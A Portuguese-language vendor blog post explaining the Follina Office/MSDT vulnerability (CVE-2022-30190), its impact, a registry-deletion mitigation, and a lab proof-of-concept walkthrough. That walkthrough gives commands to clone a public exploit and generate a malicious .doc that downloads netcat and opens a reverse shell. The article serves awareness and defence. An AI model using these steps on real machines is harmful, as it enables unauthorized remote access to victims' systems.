©2022 - Todos os Direitos Reservados

CVE-2022-30190 (Follina): Zero day e Zero click - Vulnerabilidade no MSDT

CVE-2022-30190 (Follina): Zero day e Zero click - Vulnerabilidade no MSDT
Photo by Arget / Unsplash

O mês de maio de 2022 deixou saudades para alguns, mas não para todos, principalmente aos usuários do pacote Office. Dia 30/05/2022 foi emitido oficialmente pela Microsoft a CVE-2022-30190, conhecido também como "Follina" (título dado por conta dos números 0438 contidos na amostra maliciosa, e que referencia o código de área do município de Follina).

Entendendo a CVE-2022-30190 ("Follina")

Essa falha, possibilita a execução remota de código (RCE) na máquina alvo, incorporando código malicioso em um documento do Microsoft Word e explorando o protocolo MSDT (Microsoft Support Diagnostic Tool) para execução de código arbitrário.

Trazendo para a realidade, esse tipo de falha pode, por exemplo, permitir a execução de um Ransomware, criptografando todos os dados de uma rede/empresa.

Impacto

A vulnerabilidade "Follina", permite exploração de grande impacto, por se tratar de uma vulnerabilidade com CVSS v3.1 de pontuação 7.8 classificada como "crítica", permite ao atacante remoto executar códigos localmente no alvo, usar um recurso (MSDT) nativo de sistemas Windows explorando diversas versões do Microsoft Office (2013, 2016, 2019, 2021, Office Plus e Office 365) e até o momento não existe.
A exploração bem sucedida dessa falha pode permitir no sistema alvo a modificação/extração de dados, criação de usuários, instalação de malwares, etc.

Alvos comuns

Sistemas Windows com aplicações do Microsoft Office instalados. A disseminação de ataques se dá com o envio de documentos maliciosos em anexos de e-mail usando campanhas massivas de Phishing, portanto utilizar soluções Anti-Phishing e conscientizar os colaboradores para que não se cliquem em anexos de fontes desconhecidas.

Como o ataque acontece?

A vítima baixa um arquivo malicioso do Word, como um anexo de e-mail por exemplo, e com isso o recurso de modelo remoto do Word é usado para carregar um arquivo HTML no servidor do atacante, que usa o esquema de URI "ms-msdt://" para iniciar o payload malicioso.

Observe que o Word, mesmo com as macros desabilitadas, consegue executar códigos via ms-msdt.

Quando o arquivo infectado está na extensão RTF (Rich Text Format), a carga é executada sem que o usuário preciso "abrir" o documento, bastando selecionar o arquivo que já aciona o painel de visualização do Windows Explorer.

Com essa característica, podemos classificar a falha como Zero Click.

Como corrigir uma vulnerabilidade?

Até o momento da publicação deste artigo não existe um patch para a falha, porém a Microsoft disponibilizou maneiras de mitigá-la, dentre elas desabilitando o protocolo de URL MSDT, veja abaixo:

Desabilitar o protocolo de URL MSDT:

  1. Execute o prompt de comando como administrador .
  2. Para fazer backup da chave de registro, execute o comando "reg exportação HKEY_CLASSES_ROOT\ms-msdt filename"
  3. Execute o comando "reg delete HKEY_CLASSES_ROOT\ms-msdt/f".

Para acompanhar outras formas de mitigação e remediação futura da vulnerabilidade, acompanhe os tópicos sobre o tema no site da Microsoft, siga link abaixo:
CVE-2022-30190 - Guia de Atualização de Segurança - Microsoft - Microsoft - Microsoft Windows Support Diagnostic Tool (MSDT) Vulnerabilidade de execução remota de código.

Prova de conceito:

Neste cenário de exploração ter dois anfitriões, a máquina da vítima, um Windows 10 com pacote Office instalado e respondendo pelo ip 192.168.0.107, e a máquina do hacker que responde pelo ip 192.168.0.114.

1 - Na máquina hacker, abra o terminal e clone o exploit, executando o comando:
git clone https://github.com/JohnHammond/msdt-follina.git
abaixo

2 - Acesse o diretório msdt-follina e executar o comando abaixo:
python3 follina.py -r 4001

Esse comando criará um arquivo .doc malicioso já com a carga. Essa carga baixará um binário do netcat na máquina da vítima no diretório C:\Windows\Tarefas, isso permitindo um shell reverso entre vítima x hacker, usando a porta 4001.

3- Baixe o arquivo follina.doc na máquina da vítima (esse arquivo está no diretório msdt-follina da máquina hacker):

4 - Na máquina da vítima, abra o arquivo follina.doc usando a Palavra:

5 - Habilite o modo de edição:

6 - Agora será aberto o MDST (Microsoft Diagnostic Support Tool), isso indica que o payload malicioso foi executado na máquina da vítima:

7 - Na máquina hacker, repare que foi estabelecida uma conexão com a máquina alvo, fornecendo um reverse shell:

Pronto!!! Estamos com acesso a máquina da vítima, a partir desse momento podemos efetuar diversas ações, como listagem de diretórios, por exemplo, mas não se enganem pois as possibilidades a partir desse ponto são inúmeras.

Observamos todo o processo de exploração de uma vulnerabilidade, desde a identificação até a busca por exploit e finalizando com a exploração.

Essa foi só uma das diversas vulnerabilidades e explorações de grande impacto que estão disponíveis para conhecimento público, isso sem contar as que ainda não foram oficialmente publicadas e são comercializadas em fóruns da Dark Web.

Nesse sentido, recomendamos o uso de diversos processos e tecnologias de proteção de dados, seguindo o modelo de segurança em camadas e para integrar/apoiar esse escopo onde lhe é cabível, a realização de uma gestão contínua de vulnerabilidades com a plataforma EcoTrust.

Conte com nosso apoio, sempre. 🚀


Conheça a EcoTrust

Referências:

https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html
https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

https://medium.com/@stux/follina-0day-cve-2022-30190-bc47c54c3b7d

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

GitHub - JohnHammond/msdt-follina: Codebase para gerar uma carga de msdt-follina